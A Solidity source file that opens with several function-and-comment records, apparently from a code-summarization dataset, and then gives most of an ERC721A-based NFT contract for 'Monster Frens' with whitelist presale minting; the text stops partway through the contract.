Allows the current owner to set an authorization. addressAuthorized The address to change authorization./
|
function setAuthorized(address addressAuthorized, bool authorization) public onlyOwner {
require(authorized[addressAuthorized] != authorization);
AuthorizationSet(addressAuthorized, authorization);
authorized[addressAuthorized] = authorization;
}
| 1,022,379 |
./full_match/80001/0x299d8B9Ebe77F5F9810A789d946DE010671dB61E/sources/contracts/CryptoHomiesGenesis.sol
|
Send 1% to a specific address Send the rest to the owner
|
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
uint256 onePercent = balance / 100;
payable(0x0e342c19B2B1a194ACEe8A9b3F85e92680C29f64).transfer(
onePercent
);
uint256 remaining = balance - onePercent;
payable(owner()).transfer(remaining);
}
| 9,489,967 |
./full_match/43113/0x833983e236cEB0Cd592588792e971b8adea1FBb1/sources/AmaCLClient.sol
|
callback functionrequire(msg.sender == oracle, "Only operator can fullfill the request");
|
function fulfillBytes(bytes32 _requestId,
bytes calldata bytesData)
public
recordChainlinkFulfillment(_requestId) {
address _requester = addressRequestIDs[_requestId];
if (bytesData.length >10 ){
results[_requester].verifiedOnChain = true;
results[_requester].data = bytesData;
delete addressRequestIDs[_requestId];
emit RequestFulfilled(_requester, bytesData);
return;
}
emit RequestErrored(_requester, bytesData);
}
| 7,188,008 |
./full_match/43113/0xcF5eDfF2bF1D2567A494dEbc415d0C2b1Fd20138/sources/contracts/MasterChefCoryV2.sol
|
Deposit LP tokens to MasterChef for Cory allocation. Harvest Cory
|
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(pool.accCoryPerShare)
.div(1e12)
.sub(user.rewardDebt);
safeCoryTransfer(msg.sender, pending);
emit Harvest(msg.sender, _pid, pending);
}
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accCoryPerShare).div(1e12);
IRewarder rewarder = poolInfo[_pid].rewarder;
if (address(rewarder) != address(0)) {
rewarder.onCoryReward(msg.sender, user.amount);
}
pool.lpToken.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
emit Deposit(msg.sender, _pid, _amount);
}
| 7,152,850 |
./full_match/8453/0xdf83858A7E4f080f82DE96543AdDA3248Afa8E1e/sources/contracts/GenAIWeb3.sol
|
Create metadata Mint token
|
function mint(
MetadataURI calldata metadata,
bytes memory _signature
) external payable callerIsUser saleIsActive {
require((totalSupply() + 1) <= MAX_SUPPLY, "NFTs are all minted");
require(isMsgValid(_signature) == true, "Invalid Signature");
require(msg.value >= 1 * MINT_PRICE_ETH, "Insufficient ETH amount to mint");
MetadataURI memory metadataURI = MetadataURI(
metadata.name,
metadata.description,
metadata.image,
metadata.display,
metadata.media,
metadata.mediaType,
metadata.engine,
msg.sender
);
metadatas[totalSupply()] = metadataURI;
_safeMint(msg.sender, 1, '');
}
| 11,553,294 |
/**
*Submitted for verification at Etherscan.io on 2022-02-26
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private nextIndexId = 1;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return nextIndexId - 1;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
override
returns (uint256)
{
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(
owner != address(0),
"ERC721A: balance query for the zero address"
);
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
override
returns (address)
{
require(
_exists(tokenId),
"ERC721A: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
override
{
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < nextIndexId ;
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 quantity) internal {
uint256 startTokenId = nextIndexId;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
updatedIndex++;
}
nextIndexId = updatedIndex;
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721A: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract MonsterFrens is ERC721A, Ownable {
using Address for address;
struct Account {
bool isWhitelisted;
uint256 confirmedMints;
}
mapping(address => Account) public accountInfo;
uint256 public constant MAX_SUPPLY = 8888;
uint256 public constant PUBLIC_SUPPLY = 8555;
uint256 public constant GIFT_SUPPLY = 333;
uint256 public constant WHITELIST_LIMIT = 4;
uint256 public constant DISCOUNT_PRICE = 0.04 ether;
uint256 public constant PRICE = 0.05 ether;
bool public isDiscountActive;
bool public isPresaleActive;
bool public isPublicActive;
//metadata prefix
string public baseTokenURI;
modifier onlyWallets() {
require(tx.origin == msg.sender, "must be a wallet");
_;
}
constructor(string memory newBaseURI)
ERC721A("Monster Frens", "MFR", 4, MAX_SUPPLY)
{
setBaseURI(newBaseURI);
}
function setWhitelistedAddresses(address[] calldata accounts)
external
onlyOwner
returns (bool)
{
uint256 offset = accounts.length;
for (uint256 i = 0; i < offset; i++) {
accountInfo[accounts[i]].isWhitelisted = true;
}
return true;
}
function setPresaleStatus(bool isActive) external onlyOwner returns (bool) {
isPresaleActive = isActive;
return true;
}
function setPublicStatus(bool isActive) external onlyOwner returns (bool) {
isPublicActive = isActive;
return true;
}
function mintPresale(uint256 amount)
external
payable
onlyWallets
returns (bool)
{
uint256 supply = totalSupply();
require(isPresaleActive, "private sale not activated");
require(
accountInfo[msg.sender].confirmedMints + amount <= WHITELIST_LIMIT,
"Max mint limit reached"
);
require(amount <= WHITELIST_LIMIT, "min amount exceeds limit");
require(
accountInfo[msg.sender].isWhitelisted,
"caller not whitelisted"
);
require(
supply + amount <= PUBLIC_SUPPLY,
"amount exceeds available supply"
);
require(
msg.value == DISCOUNT_PRICE * amount,
"incorrect ETH amount sent"
);
accountInfo[msg.sender].confirmedMints += amount;
_safeMint(msg.sender, amount);
return true;
}
